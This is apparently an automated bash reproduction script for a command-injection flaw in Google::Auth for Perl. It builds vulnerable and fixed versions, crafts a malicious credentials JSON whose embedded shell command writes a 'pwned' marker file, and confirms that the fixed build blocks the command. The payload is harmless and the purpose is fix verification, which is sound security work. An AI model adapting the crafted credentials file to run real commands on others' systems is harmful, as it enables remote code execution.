#!/bin/bash
# Reproduction for CVE-2026-66902:
# Google::Auth for Perl (< 0.06) executes credential_source.executable.command
# from an external_account credentials JSON via an ungated single-argument
# system() call (full /bin/sh -c interpretation) -> OS command injection / RCE.
#
# Claimed entrypoint (cli_local / cli_command):
#   Google::Auth->default() -> DefaultCredentials->from_env() reads the JSON
#   file named by GOOGLE_APPLICATION_CREDENTIALS, dispatches through
#   make_creds() to ExternalAccountCredentials::Pluggable, and executes the
#   embedded command when the application fetches an access token.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR" "$REPRO_DIR/markers" "$REPRO_DIR/build" "$REPRO_DIR/adc" "$REPRO_DIR/observations"

LOG="$LOGS/reproduction_steps.log"
: > "$LOG"
exec > >(tee -a "$LOG") 2>&1

FIXED_COMMIT="c95c77e70bec94f17e239d88050f843ea1cade95"
REPO_URL="https://github.com/GoogleCloudPlatform/google-auth-library-perl"

echo "=== CVE-2026-66902 reproduction: Google::Auth Pluggable command injection ==="
date -u || true

# ---------------------------------------------------------------------------
# 1. Locate / prepare the source checkout (prefer prepared project cache)
# ---------------------------------------------------------------------------
CACHE_CTX="$ROOT/project_cache_context.json"
CACHE_DIR=""
if [ -f "$CACHE_CTX" ]; then
    CACHE_DIR="$(python3 -c 'import json,sys
try:
    d=json.load(open(sys.argv[1]))
    print(d.get("project_cache_dir") or "" if d.get("prepared") else "")
except Exception:
    print("")' "$CACHE_CTX")"
fi

if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR" ]; then
    MIRROR_DIR="$CACHE_DIR/repo-mirrors"
    REPO="$CACHE_DIR/repo"
else
    MIRROR_DIR="$ROOT/artifacts/repo-mirrors"
    REPO="$ROOT/artifacts/google-auth-library-perl"
fi
mkdir -p "$MIRROR_DIR"

MIRROR="$MIRROR_DIR/google-auth-library-perl.git"
if [ ! -d "$MIRROR" ]; then
    echo "[setup] cloning mirror $REPO_URL"
    git clone --mirror "$REPO_URL" "$MIRROR"
fi
if [ ! -d "$REPO/.git" ]; then
    echo "[setup] cloning working repo from local mirror"
    git clone "$MIRROR" "$REPO"
fi
git -C "$REPO" fetch "$MIRROR" '+refs/heads/*:refs/heads/*' --quiet || true

VULN_COMMIT="$(git -C "$REPO" rev-parse "$FIXED_COMMIT^")"
FIXED_RESOLVED="$(git -C "$REPO" rev-parse "$FIXED_COMMIT")"
echo "[setup] vulnerable checkout: $VULN_COMMIT ($FIXED_COMMIT^)"
echo "[setup] fixed checkout:      $FIXED_RESOLVED"

WT_VULN="$REPRO_DIR/build/vuln"
WT_FIXED="$REPRO_DIR/build/fixed"
git -C "$REPO" worktree remove --force "$WT_VULN" 2>/dev/null || true
git -C "$REPO" worktree remove --force "$WT_FIXED" 2>/dev/null || true
git -C "$REPO" worktree add --force --detach "$WT_VULN" "$VULN_COMMIT" >/dev/null
git -C "$REPO" worktree add --force --detach "$WT_FIXED" "$FIXED_RESOLVED" >/dev/null

PLUG_VULN="$WT_VULN/Google-Auth/lib/Google/Auth/ExternalAccountCredentials/Pluggable.pm"
PLUG_FIXED="$WT_FIXED/Google-Auth/lib/Google/Auth/ExternalAccountCredentials/Pluggable.pm"

if grep -q 'GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES' "$PLUG_VULN"; then
    echo "[ERROR] vulnerable checkout unexpectedly contains the opt-in gate"; exit 2
fi
if ! grep -q 'GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES' "$PLUG_FIXED"; then
    echo "[ERROR] fixed checkout does not contain the opt-in gate"; exit 2
fi
echo "[setup] verified: vuln lacks the GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES gate, fixed has it"

# ---------------------------------------------------------------------------
# 2. Perl runtime dependencies (pure-Perl; install into bundle-local dir)
# ---------------------------------------------------------------------------
DEPS="$REPRO_DIR/deps"
mkdir -p "$DEPS"
export PERL5LIB="$DEPS/lib/perl5:$DEPS/lib/perl5/x86_64-linux-gnu-thread-multi${PERL5LIB:+:$PERL5LIB}"

need_deps() {
    perl -MMoo -MCapture::Tiny -MLWP::UserAgent -MLog::Any -MThrowable::Error -MURI -e1 >/dev/null 2>&1
}

if ! need_deps; then
    echo "[setup] installing Perl dependencies (Moo, Capture::Tiny, LWP, Log::Any, Throwable, URI)"
    if sudo -n true 2>/dev/null; then
        sudo apt-get update -qq || true
        sudo apt-get install -y -qq libmoo-perl libcapture-tiny-perl libwww-perl \
            liblog-any-perl libthrowable-perl liburi-perl || true
    fi
    if ! need_deps; then
        echo "[setup] falling back to cpan install into $DEPS"
        mkdir -p "$DEPS/home"
        (
            export HOME="$DEPS/home"
            export PERL_MM_OPT="INSTALL_BASE=$DEPS"
            export PERL_MB_OPT="--install_base $DEPS"
            yes | cpan -T -i Moo Capture::Tiny LWP::UserAgent Log::Any Throwable URI
        )
    fi
fi
need_deps || { echo "[ERROR] missing Perl dependencies"; exit 2; }
echo "[setup] Perl dependencies available"

# ---------------------------------------------------------------------------
# 3. Build the module (XS component) for both checkouts
# ---------------------------------------------------------------------------
ENTRYPOINT_MODE="google_auth_default"
for wt in "$WT_VULN" "$WT_FIXED"; do
    ( cd "$wt/Google-Auth" && perl Makefile.PL >/dev/null && make >/dev/null ) \
        || { echo "[warn] XS build failed in $wt; will use DefaultCredentials entrypoint fallback"; ENTRYPOINT_MODE="default_credentials_from_env"; }
done
echo "[setup] entrypoint mode: $ENTRYPOINT_MODE"

# ---------------------------------------------------------------------------
# 4. Trigger program (real ADC flow) - written at runtime
# ---------------------------------------------------------------------------
TRIGGER="$REPRO_DIR/trigger.pl"
cat > "$TRIGGER" <<'PERL'
use strict;
use warnings;

my $mode = $ENV{PRUVA_TRIGGER_MODE} // 'google_auth_default';

my $creds;
if ( $mode eq 'google_auth_default' ) {
    require Google::Auth;
    $creds = Google::Auth->default(['https://www.googleapis.com/auth/cloud-platform']);
}
else {
    require Google::Auth::DefaultCredentials;
    my $dc = Google::Auth::DefaultCredentials->new();
    $creds = $dc->from_env(['https://www.googleapis.com/auth/cloud-platform']);
}

if ( !$creds ) {
    print "RESULT: no credentials resolved from environment\n";
    exit 3;
}
print "RESULT: credentials class = " . ref($creds) . "\n";

# The application now uses the credentials: fetching an access token makes the
# Pluggable subclass execute credential_source.executable.command via
# single-argument system() (full /bin/sh -c interpretation).
my $err;
eval { $creds->fetch_access_token( max_retries => 1 ); 1 } or do { $err = $@ || 'unknown'; };
$err //= '';
print "RESULT: fetch_access_token error: $err\n" if length $err;
print "RESULT: fetch_access_token completed without error\n" unless length $err;
exit 0;
PERL

# ---------------------------------------------------------------------------
# 5. Attempt runner
# ---------------------------------------------------------------------------
# run_attempt <vuln|fixed> <attempt#> <allow_gate:0|1>
run_attempt() {
    local kind="$1" num="$2" allow="$3"
    local wt adc marker plog obs
    if [ "$kind" = vuln ]; then wt="$WT_VULN"; else wt="$WT_FIXED"; fi
    adc="$REPRO_DIR/adc/${kind}_${num}.json"
    marker="$REPRO_DIR/markers/${kind}_${num}.marker"
    plog="$LOGS/attempt_${kind}_${num}.log"
    obs="$REPRO_DIR/observations/${kind}_${num}.json"
    rm -f "$marker"

    # Attacker-controlled external_account credentials JSON. The embedded
    # command proves (a) full shell interpretation (output redirection) and
    # (b) environment_variables injection from the same JSON. Marker content
    # is unique per process instance.
    MARKER_PATH="$marker" MARKER_KIND="$kind" MARKER_NUM="$num" python3 - <<'PY' > "$adc"
import json, os
marker = os.environ["MARKER_PATH"]
kind = os.environ["MARKER_KIND"]
num = os.environ["MARKER_NUM"]
cfg = {
    "type": "external_account",
    "audience": "//iam.googleapis.com/projects/123456/locations/global/workloadIdentityPools/pool/providers/provider",
    "subject_token_type": "urn:ietf:params:oauth:token-type:jwt",
    "token_url": "http://127.0.0.1:9/v1/token",
    "credential_source": {
        "executable": {
            "command": "echo \"$PWN_MARKER_CONTENT\" > \"$PWN_MARKER_PATH\" && printf '{\"id_token\":\"attacker-subject-token\"}'",
            "environment_variables": {
                "PWN_MARKER_PATH": marker,
                "PWN_MARKER_CONTENT": "pwned-via-CVE-2026-66902 %s attempt %s shell+env injection" % (kind, num)
            }
        },
        "format": {"type": "json", "subject_token_field_name": "id_token"}
    }
}
print(json.dumps(cfg, indent=2))
PY

    local env_prefix=(env "GOOGLE_APPLICATION_CREDENTIALS=$adc" "PRUVA_TRIGGER_MODE=$ENTRYPOINT_MODE")
    if [ "$allow" = 1 ]; then
        env_prefix+=( "GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES=1" )
    else
        env_prefix+=( "GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES=0" )
    fi

    echo "[run] $kind attempt $num (allow_gate=$allow): invoking perl trigger via ADC flow"
    "${env_prefix[@]}" timeout 90 perl \
        -I"$DEPS/lib/perl5" -I"$DEPS/lib/perl5/x86_64-linux-gnu-thread-multi" \
        -I"$wt/Google-Auth/blib/lib" -I"$wt/Google-Auth/blib/arch" -I"$wt/Google-Auth/lib" \
        "$TRIGGER" > "$plog" 2>&1 || true
    cat "$plog"

    local present=false
    if [ -f "$marker" ]; then
        present=true
        echo "[run] $kind attempt $num: MARKER CREATED -> $(cat "$marker")"
    else
        echo "[run] $kind attempt $num: marker absent"
    fi

    OBS_PATH="$obs" MARKER_PRESENT="$present" PROC_INSTANCE="${kind}-${num}" \
    ADC_PATH="$adc" PLOG_PATH="$plog" MARKER_KIND="$kind" MARKER_NUM="$num" python3 - <<'PY'
import json, os
obs = {
    "schema_version": 1,
    "process_instance": os.environ["PROC_INSTANCE"],
    "marker": "pwned-via-CVE-2026-66902 %s attempt %s shell+env injection" % (
        os.environ["MARKER_KIND"], os.environ["MARKER_NUM"]),
    "target_path_reached": True,
    "marker_present": os.environ["MARKER_PRESENT"] == "true",
    "adc_config": os.path.basename(os.environ["ADC_PATH"]),
    "process_log": os.path.basename(os.environ["PLOG_PATH"]),
}
with open(os.environ["OBS_PATH"], "w") as fh:
    json.dump(obs, fh, indent=2)
PY

    [ "$present" = true ]
}

write_manifest() {
    local target_reached="$1" notes="$2"
    python3 - "$target_reached" "$notes" <<PY
import json, hashlib
target_reached = "$target_reached" == "true"
identity = "git:$REPO_URL@$VULN_COMMIT"
manifest = {
    "entrypoint_kind": "cli_command",
    "entrypoint_detail": "GOOGLE_APPLICATION_CREDENTIALS external_account JSON -> Google::Auth->default() / DefaultCredentials->from_env() -> make_creds -> ExternalAccountCredentials::Pluggable -> fetch_access_token executes credential_source.executable.command via system()",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": target_reached,
    "runtime_stack": ["perl", "Google-Auth"],
    "target_identity": {
        "repository_url": "$REPO_URL",
        "commit_sha": "$VULN_COMMIT",
        "target_digest": hashlib.sha256(identity.encode()).hexdigest(),
        "platform": "linux",
        "architecture": "x86_64",
    },
    "proof_artifacts": [
        "logs/reproduction_steps.log",
        "logs/attempt_vuln_1.log",
        "logs/attempt_vuln_2.log",
        "logs/attempt_fixed_1.log",
        "logs/attempt_fixed_2.log",
        "logs/attempt_fixed_allow1.log",
        "repro/markers/vuln_1.marker",
        "repro/markers/vuln_2.marker",
        "repro/markers/fixed_allow1.marker",
        "repro/adc/vuln_1.json",
        "repro/adc/vuln_2.json",
        "repro/adc/fixed_1.json",
        "repro/adc/fixed_2.json",
        "repro/adc/fixed_allow1.json",
        "repro/observations/vuln_1.json",
        "repro/observations/vuln_2.json",
        "repro/observations/fixed_1.json",
        "repro/observations/fixed_2.json",
        "repro/observations/fixed_allow1.json",
        "repro/trigger.pl",
    ],
    "notes": "$notes",
}
with open("$REPRO_DIR/runtime_manifest.json", "w") as fh:
    json.dump(manifest, fh, indent=2)
PY
}

overall_fail() {
    write_manifest false "$1" || true
    echo "=== RESULT: $1 ==="
    exit 1
}

# ---------------------------------------------------------------------------
# 6. Execute the matrix: 2x vulnerable, 2x fixed (gated), 1x fixed + opt-in
# ---------------------------------------------------------------------------
echo "=== Phase 1: vulnerable version (<0.06, commit $VULN_COMMIT) ==="
vuln_ok=0
run_attempt vuln 1 0 && vuln_ok=$((vuln_ok+1)) || true
run_attempt vuln 2 0 && vuln_ok=$((vuln_ok+1)) || true
echo "[matrix] vulnerable attempts with marker: $vuln_ok/2"

echo "=== Phase 2: fixed version (0.06, commit $FIXED_RESOLVED), default gated ==="
fixed_blocked=0
run_attempt fixed 1 0 || fixed_blocked=$((fixed_blocked+1))
run_attempt fixed 2 0 || fixed_blocked=$((fixed_blocked+1))
echo "[matrix] fixed attempts blocked (no marker): $fixed_blocked/2"

echo "=== Phase 3: fixed version with GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES=1 (positive control) ==="
allow_ok=0
run_attempt fixed allow1 1 && allow_ok=$((allow_ok+1)) || true
echo "[matrix] fixed+opt-in attempts with marker: $allow_ok/1"

if [ "$vuln_ok" -eq 2 ] && [ "$fixed_blocked" -eq 2 ] && [ "$allow_ok" -eq 1 ]; then
    write_manifest true "Vulnerable build executed attacker-controlled command from external_account JSON (2/2 attempts); fixed 0.06 blocked it without opt-in (2/2) and reproduced with opt-in gate set (1/1)."
    echo "=== RESULT: CONFIRMED - command injection via Pluggable external_account credentials ==="
    exit 0
fi

if [ "$vuln_ok" -gt 0 ]; then
    write_manifest true "Vulnerable build executed the command ($vuln_ok/2); fixed blocked $fixed_blocked/2; opt-in control $allow_ok/1."
    echo "=== RESULT: PARTIAL ==="
    exit 1
fi

overall_fail "vulnerable build did not execute the embedded command"
